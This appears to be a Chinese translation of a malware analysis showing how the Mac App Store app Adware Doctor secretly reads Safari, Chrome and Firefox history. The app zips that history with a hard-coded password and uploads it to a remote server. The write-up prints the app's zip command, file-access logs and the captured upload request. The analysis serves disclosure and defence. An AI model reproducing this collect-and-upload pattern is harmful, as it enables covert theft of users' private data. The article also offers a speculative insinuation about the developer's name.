背景
你很信任官方Mac应用程序商店的应用程序对吗?
毕竟苹果官方说:
你的Mac电脑下载应用程序最安全的地方是Mac应用程序商店。苹果会在应用程序被商店接受之前对其进行审查,如果应用程序有任何问题,苹果会迅速将其从商店中移除。
然而,这些说法是否属实还值得怀疑。因为苹果应用商店最畅销的应用之一——广告医生,偷偷的将高度敏感的用户信息泄露给疑似为中国的开发商。尽管苹果在一个月前就与其取得了联系,并承诺会进行调查,但苹果应用程序商店仍然可以使用这款应用程序。
注意:
广告医生的恶意行为最初是由@privacyis1st发现的。在他的帮助下,我们共同调查了这个问题。
广告医生
广告医生声称自己可以去除苹果电脑中常见的所有广告,同时也是这一领域内最佳的应用程序。
在官方的Mac应用程序商店,这个应用程序非常流行。它是排名第四的最赚钱的应用程序……这意味着它被列在了苹果的主页上!
在“付费软件”这一类别中,广告医生拥有令人羡慕的头衔:
它以4.99美元的价格,让软件开发商赚了一大笔钱。
值得注意的是,暂时没有关于应用程序开发者的更多信息,只知道他的名字叫“张XX”。然而,“张XX”是一个臭名昭著的中国连环杀手,这相当有趣,也许不是巧合。
麻烦的过去
我们发现广告医生有一个相当不道德的历史。在2016年,它被显示使用了AppleScript,这显然是为了执行更高操作,而这恰恰违反了苹果商店的指南。
大约在同一时间,托马斯·里德指出:
几周前,这个应用程序还在使用“Adware Medic”这个名字,这个名字和我自己非常流行的AdwareMedic应用程序同名,这款应用程序被Malwarebytes收购了。苹果公司很快就把它从商店里下架了,但它很快就以Adware Doctor的身份上架了。
最后,广告医生(以及其他由同一开发者开发的应用)的评论很可能是假的,因为该应用程序在富有见地的帖子“苹果商店里的应用程序带有假评论”中被特别讨论过。也许它真的是有史以来最令人惊奇的软件之一。
但这似乎不太可能,尤其是在我们进一步了解这款应用的评论之后。
然而,尽管这些过去的行为相当狡猾或不诚实,一些人会狡辩,它们并非明显不合情理。虽然这些不道德的行为有很多都被报告给苹果,但不幸的是,苹果公司并没有采取果断的行动。当然,这只会鼓励应用程序开发人员,因为他们在某个时候越过了一条站不住脚的界线。
你偷了我的浏览器历史记录?
@ privacyisfirst在最近的一条推特上写道:
广告医生正在窃取你的隐私。
在这条推特上,他发布了一个视频链接,视频显示Adware Doctor正在收集和秘密窃取包括浏览器历史在内的各种敏感用户数据。
所以,让我们一起来看看发生了什么!我们通过使用静态分析(拆解)和动态分析(网络监视、文件监视和调试)的组合,能清楚的了解正在发生的事情,并最终确认@privacyis1st令人担忧的发现是真的!
首先,让我们从官方的Mac App Store下载Adware Doctor…是的,付4.99美元。我们可以确认应用程序(就像Mac应用程序商店中的所有应用程序一样)是由苹果公司正式签署的:
启动应用程序时,我们可以看到它通过HTTPS发出各种网络请求。例如,它连接到adwarres .securemacos.com并对/AdwareDoctor/master.1.5.5.js发出GET请求
如网络捕获所示,下载的master.1.5.5。js文件包含一些基本的JSON配置数据:
{
"disable_rate": false, "disable_prescan": false, "sk_on": false, "faq_link": "http://www.adwaredoctor.com/adware-doctor-faq/"
}
点击应用程序UI中的“Clean”按钮会触发另一个网络请求,同样是adwareres.securemacos.com,但这次要下载第二个名为config1.5.0.js的文件:
config1.5.0.js文件包含更多的JSON,最引人注目的是链接到广告的签名数据库。
{
"update": true,
"version": "201808243",
"url": "https://adwareres.securemacos.com/patten/file201808243.db"
}
毫不奇怪,应用程序下载了这个数据库:
不过,如果我们试图偷看一下它的内容,它们似乎是加密的(通常是反广告软件/反病毒签名的情况):
然而,在调试器中,我们只是等待,直到应用程序在内存中解密文件,并转储(现在)明文内容:
(lldb)
binaryContentMatchPatten = ({
md5 = (
48a96e1c00be257debc9c9c58fafaffe,
f1a19b8929ec88a81a6bdce6d5ee66e6,
3e653285b290c12d40982e6bb65928c1,
801e59290d99ecb39fd218227674646e,
8d0cd4565256a781f73aa1e68e2a63de,
e233edd82b3dffd41fc9623519ea281b,
1db830f93667d9c38dc943595dcc2d85,
...
browserHomePagePatten = (
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*searchword.*/90/";
},
...
filePathPatten = (
"/Applications/WebShoppers",
"/Applications/WebShoppy",
"/Applications/SoftwareUpdater",
"/Applications/webshoppers",
"~/Library/Application Support/WebTools",
"~/Library/WebTools",
"/Applications/WebTools",
"/Applications/WebTools.app",
"/Applications/SmartShoppy",
"/Applications/ShopTool",
"/Applications/ShoppyTool",
"/Applications/EasyShopper",
...
launchPathMatchPatten = (
"com.WebShoppers.agent.plist",
"com.WebShoppy.agent.plist",
"com.webshoppers.agent.plist",
"com.SoftwareUpdater.agent.plist",
...
whitelist = (
"~/Library/LaunchAgents/com.spotify.webhelper.plist",
"/Library/LaunchDaemons/com.intel.haxm.plist",
"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",
"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist"
"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",
"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",
"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",
"/Library/LaunchAgents/com.microsoft.update.agent.plist",
"/Library/LaunchDaemons/com.crashplan.engine.plist"
...
这些看起来像合法的反广告软件签名,散列与已知的广告软件相匹配:
比如广告.MAC.Pirrit:
回到广告医生的 UI,它可以“清理”你的系统:
直到这一点在我们的分析出现,虽然这就是事情变得可疑的地方。
首先,在运行文件监视器(比如苹果内置的fs_usage)和过滤(不敏感地)包含历史记录的文件时,我们注意到一些非常有趣的文件访问:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryTransactions</b>
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryDB</b>
Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b>
Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b>
Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip
Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
如果我们运行一个进程监视器(比如我的开源ProcInfo实用程序),我们可以观察Adware Doctor生成内置的zip实用程序来创建一个受密码保护的 history.zip
# ./procInfo
process start:
pid: 2634
path: /bin/bash
args: (
"/bin/bash",
"-c",
"zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null"
)
此外,网络代理监视器捕获从广告医生到adscan.yelabapp.com的连接尝试:
通过编辑系统的/etc/hosts文件,我们可以将此请求重定向到我们控制的服务器,并捕获Adware Doctor试图上载的内容。你认为会是什么呢?如果你猜到了history.zip 文件,那么你是对的!
# python https.py
listening for for HTTPS requests on port:443
192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -
Headers:
Host: adscan.yelabapp.com
Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510
Connection: keep-alive
Accept: */*
User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)
Content-Length: 15810
Accept-Language: en-us
Accept-Encoding: br, gzip, deflate
Path: /1/checkadware
Attachment: 'history.zip' (length: 15810)
上传的history.zip档案是密码保护:
幸运的是,弄清楚密码并不重要。回顾过程的输出监视器,一个可以看到密码传递给邮政通过命令行实用程序:zip -r –quiet -P webtool
密码也硬编码到应用程序的二进制文件中(稍后我们会讲到,当反转二进制文件的各个部分时)。
让我们解压存档,输入webtool作为密码:
正如@privacyis1st所指出的,广告医生确实在暗中窃取你的浏览器历史:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory
Person 1:
https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57
https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory
https://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41
https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
通过重定向DNS解析,我们可以很容易的捕获出的数据。
本文简单介绍了广告医生是如何窃取浏览器数据的,下片文章将介绍其带来的影响及危害。